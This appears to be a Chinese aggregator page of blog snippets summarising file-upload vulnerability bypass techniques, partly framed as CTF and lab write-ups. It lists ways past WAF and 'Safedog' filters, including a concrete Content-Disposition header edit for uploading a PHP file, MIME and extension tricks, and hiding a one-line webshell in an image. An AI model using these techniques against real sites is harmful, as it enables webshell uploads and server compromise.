    文件上传漏洞是web安全中经常利用到的一种漏洞形式。一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将代码植入到...就需要用到这个工具去绕过各种限制上传文件
  • 文件上传绕过姿势整理 WAF绕过 安全狗绕过 1.绕过思路:对文件的内容,数据。数据包进行处理。 关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php" 将form-data; 修改为~form-data; 2....
  • 文件上传绕过知识点PHP

    千次阅读 2022-01-27 15:42:03
    记一次看过文件上传绕过方式 链接地址 https://xz.aliyun.com/t/10459
  • 硬怼 【技术资料】 硬怼的话,主要是从下面这些方法入手去操作。 (1)fuzz后缀名 看看有无漏网之鱼(针对开发...几个例子,文件上传的时候,大多数Content-Type都是application/multipart-formdata这种,name对于w
  • 绕过 本地js绕过 通过抓包修改后缀名 MIME验证绕过(Content-Type) 通过修改Content-Type类型;比如image/jpeg,image/gif等。 制作图片马 通过工具把一句话木马放入图片中 ...
  • 但是想要利用好他并不容易,因为他的上传姿势实在是太花哨(多)。所以这里介绍一些简单的上传姿势。望大牛误喷shell上传条件:1、上传点2、绝对路径3、要有权限文件上传检验姿势1、客户端javascript校验(一般只校验...
  • 上传绕过总结

    2021-01-26 10:59:15
    欢迎各位关注我的专栏,在以后的时间里,我将分享更多技术...上传绕过总结对于常见的上传绕过姿势进行总结。包含WAF绕过、安全狗绕过、黑名单绕过、白名单绕过、阿里云绕过以及多种绕过手法。WAF绕过安全狗绕过1.绕...
  • bypass the upload格式:flag{}【解题报告】这是我入门Web开始写的第二道题,这道题有点意思,它的题目意思是要上传一个文件,具体要上传什么文件题目也没说,我们就随意上传一个txt文本文档,点submit,题目会显示...
  • 文件上传绕过技巧

    千次阅读 2020-10-21 13:37:45
    一种是基于代码限制的,一种基于防火墙,其实总的来看两者差不多,都是检测文件合法性,但是两者区别开来,在实际应用中信息收集之后对于一个网站的防护措施有了了解后,能够更精准的选择上传绕过方式。 (本篇都...
  • 文件上传绕过方法汇总
  • 文件上传绕过waf

    千次阅读 2020-12-16 23:47:11
    这里总结下我个人常用的文件上传绕过waf的方法,希望能起到抛砖引玉的效果,得到大佬们指点下。 常见情况 下面总结下我经常遇到的情况: 一. 检测文件扩展名 很多waf在上传文件的时候会检测文件扩展名,这个时候...
  • 简单分析文件上传漏洞,利用靶场进行实例讲解,如:绕过客户端检测,绕过服务端检测。
  • WAF绕过安全狗绕过1.绕过思路:对文件的内容,数据。数据包进行处理。关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"将form-data; 修改为~form-data;2.通过替换大小写来进行绕过...
  • 1、文件上传功能几乎涉及每个网站,而开发人员往往以这样那样得原因漏掉一些过滤得条件,从而让安全人员能绕过限制上传其想上传得任何类型文件,从而不能保证网站得完整性。 2、本课程讲解了12种绕过得技巧,基本上...
  • web渗透之文件上传绕过技巧1.客户端javascript检测绕过(检测文件扩展名)2.服务端MIME类型检测绕过(检测Content-Type内容)3.服务端目录路径检测绕过(检测与path参数相关的内容)4.服务端文件扩展名检测绕过...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 42,778
精华内容 17,111
关键字:

上传绕过